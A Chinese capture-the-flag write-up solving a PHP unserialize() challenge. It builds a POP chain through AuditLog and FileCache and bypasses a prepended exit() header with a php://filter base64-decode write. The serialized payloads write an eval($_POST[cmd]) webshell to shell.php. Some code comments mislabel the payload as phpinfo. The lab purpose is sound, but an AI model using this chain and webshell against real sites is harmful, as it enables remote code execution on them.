【CTF-WEB-反序列化】通过构造反序列化 POP 链,触发文件写入函数,绕过代码中自带的exit()安全头部,写入可执行的 PHP 后门

题目

此题目来源于投稿

PHP Web 应用里的 FileCache 类被反序列化触发写文件时,非要在内容开头加句exit;搞破坏,导致代码没法执行,快想办法躲开这个 "拦路虎"

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
class AuditLog {
    public $handler;

    public function __construct() {
        $this->handler = new SystemStatus();
    }

    public function __toString() {
        return $this->handler->process();
    }
}

class FileCache { 
    public $filePath; 
    public $content; 
    public function __construct($path = '', $data = '') {
        $this->filePath = $path;
        $this->content = $data;
    }

    public function process() {
        $security_header = '<?php exit("Access Denied: Protected Cache"); ?>';
        
        $final_data = $security_header . $this->content;
        file_put_contents($this->filePath, $final_data);
        
        return "Cache Saved.";
    }
}

class SystemStatus {
    public function process() {
        if(file_exists('./system_config.php')) {
            include('./system_config.php');
        }
        return "System logic normal.";
    }
}


$payload = $_POST['data']; 

if(isset($payload)){
    echo unserialize($payload);
}
else{
    echo "Invalid data stream.";
}
?> Invalid data stream.

解题过程

POP 链初步测试:触发默认返回值

触发 SystemStatus::process () 返回

构造序列化 payload,使 AuditLog 的 handler 指向 SystemStatus 对象。

python 复制代码
<?php
class AuditLog {
    public $handler;
}
class SystemStatus {}

$obj = new AuditLog();
$obj->handler = new SystemStatus();

echo serialize($obj);
?>

生成 Payload:

bash 复制代码
O:8:"AuditLog":1:{s:7:"handler";O:12:"SystemStatus":0:{}}

POST 提交data参数,页面输出:System logic normal.

触发 FileCache::process () 返回

构造序列化 payload,使 AuditLog 的 handler 指向 FileCache 对象。

python 复制代码
<?php
class AuditLog {
    public $handler;
}
class FileCache {
    public $filePath;
    public $content;
}

$obj = new AuditLog();
$obj->handler = new FileCache();
// 随便赋值,不影响return
$obj->handler->filePath = "test.php";
$obj->handler->content = "test";

echo serialize($obj);
?>

生成 Payload:

bash 复制代码
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:8:"test.php";s:7:"content";s:4:"test";}}

POST 提交后输出:Cache Saved.

绕过死亡头部:php://filter + Base64 写入

直接写入 PHP 代码会被前置的<?php exit();?>拦截,使用 Base64 解码流绕过。

写入 phpinfo 测试

python 复制代码
<?php
class AuditLog {
    public $handler;
}
class FileCache {
    public $filePath;
    public $content;
}

$obj = new AuditLog();
$obj->handler = new FileCache();

// 核心:使用 php://filter 流写入
$obj->handler->filePath = "php://filter/write=convert.base64-decode/resource=shell.php";
// 写入纯base64编码的phpinfo (<?php phpinfo();
$obj->handler->content = "PD9waHAgcGhwaW5mbygpOz8+";

echo serialize($obj);
?>
  1. 写入 phpinfo 测试
bash 复制代码
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:7:"content";s:24:"PD9waHAgcGhwaW5mbygpOz8+";}}

直接访问shell.php出现乱码,原因:前置死亡代码污染 Base64 解码。

解决乱码问题

python 复制代码
<?php
class AuditLog {
    public $handler;
}
class FileCache {
    public $filePath;
    public $content;
}

$obj = new AuditLog();
$obj->handler = new FileCache();

// 核心:使用 php://filter 流写入
$obj->handler->filePath = "php://filter/write=convert.base64-decode/resource=shell.php";
// 写入纯base64编码的phpinfo (<?php phpinfo();
$obj->handler->content = "AAAPD9waHAgcGhwaW5mbygpOz8+";

echo serialize($obj);
?>
bash 复制代码
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:7:"content";s:27:"AAAPD9waHAgcGhwaW5mbygpOz8+";}}

终极解决:Base64 长度对齐(解决乱码)

前置字符串长度不满足 Base64 对齐规则,补充字符修正长度,实现纯净写入。

一句话木马编码

bash 复制代码
<?php @eval($_POST[cmd]); ?>

Base64 编码:

bash 复制代码
PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==

构造最终 Payload

python 复制代码
<?php
class AuditLog {
    public $handler;
}
class FileCache {
    public $filePath;
    public $content;
}

$obj = new AuditLog();
$obj->handler = new FileCache();

// 核心:使用 php://filter 流写入
$obj->handler->filePath = "php://filter/write=convert.base64-decode/resource=shell.php";
// 写入纯base64编码的phpinfo (<?php phpinfo();
$obj->handler->content = "AAAPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==";

echo serialize($obj);
?>

最终 Payload:

bash 复制代码
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:7:"content";s:43:"AAAPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==";}}

POST 提交data参数,页面输出:Cache Saved.

连接 Webshell 获得 Flag

答案

qsnctf{177cc428697e461da33a0e8861759e94}

相关推荐
0xBADCODE2 天前
CTF Writeup 合集
安全·web安全·网络安全·系统安全·密码学·php·ctf
玫幽倩3 天前
2025MoeCTF(Pwn全)
网络·安全·pwn·ctf·新生赛·二进程·moectf
岁岁的O泡奶3 天前
[NSSCTF 2022 Spring Recruit]babyphp
经验分享·web·ctf
0xBADCODE3 天前
动态DEX加载+反射+DES硬编码密钥:安卓三层逆向实战
android·java·python·安全·网络安全·逆向·ctf
纯.Pure_Jin(g)5 天前
靶场PHP函数整理+防御方式
开发语言·php·ctf
安全小王子8 天前
nssctf_chicken_soup
网络安全·逆向·ctf·nssctf
安全小王子8 天前
nssctf——老鼠走迷宫
网络安全·逆向·ctf·nssctf
安全小王子9 天前
nssctf_easyapp
网络安全·逆向·ctf·nssctf
安全小王子10 天前
nssctf_sign-ezc++
网络安全·逆向·ctf·nssctf
whcyhhh12 天前
CTF‑MISC 隐写术完整学习笔记|图片隐写全题型 + 工具 + 实战例题
python·网络安全·ctf·misc·信息隐藏